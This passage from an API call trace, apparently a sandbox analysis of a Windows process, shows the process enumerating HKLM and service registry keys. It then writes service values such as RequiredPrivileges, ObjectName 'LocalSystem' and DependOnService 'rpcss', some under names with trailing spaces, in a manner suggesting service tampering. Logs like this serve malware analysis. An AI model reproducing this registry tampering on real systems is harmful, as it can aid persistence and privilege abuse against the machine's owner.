lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0256.452] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0256.452] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0256.452] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0256.452] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0256.452] RegCloseKey (hKey=0x80000002) returned 0x0 [0256.452] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0256.452] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0256.452] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0256.453] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0256.453] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0256.453] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0256.453] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0256.453] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0256.453] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0256.453] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0256.453] RegCloseKey (hKey=0x150) returned 0x0 [0256.453] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0256.453] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0256.453] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0256.453] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0256.453] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0256.454] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0256.454] RegCloseKey (hKey=0x148) returned 0x0 [0256.454] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0256.454] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0256.454] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0256.454] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0256.454] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0256.454] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0256.454] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0256.454] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0256.454] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0256.455] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.455] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.455] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.455] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.455] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.455] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.455] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.455] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.455] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.455] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.455] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.456] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.456] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.456] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.456] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.456] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0256.456] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0256.456] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0256.456] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x21f18e0*, cbData=0x32 | out: lpData=0x21f18e0*) returned 0x0 [0256.457] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0256.457] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.457] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.457] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.457] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.457] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.457] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.457] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.457] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.457] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.457] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.457] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.457] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.458] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.458] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.458] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.458] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0256.458] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0256.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0256.458] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="NT AUTHORITY\\NetworkService", cbData=0x1c | out: lpData="NT AUTHORITY\\NetworkService") returned 0x0 [0256.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0256.458] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.458] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.458] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.459] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.459] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.459] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.459] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.459] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.459] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.459] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.459] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.459] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.459] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.459] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.459] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.460] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0256.460] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0256.460] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0256.460] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x7, lpData=0x21f1b68*, cbData=0xe | out: lpData=0x21f1b68*) returned 0x0 [0256.460] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0256.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0256.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0256.460] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0256.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0256.460] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0256.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0256.460] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5b8 [0256.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0256.461] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0256.461] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0256.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.461] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0256.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0256.461] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0256.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0256.461] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0256.461] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0256.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0256.461] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0256.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0256.461] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0256.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0256.461] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0256.462] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0256.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0256.462] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0256.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0256.462] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, 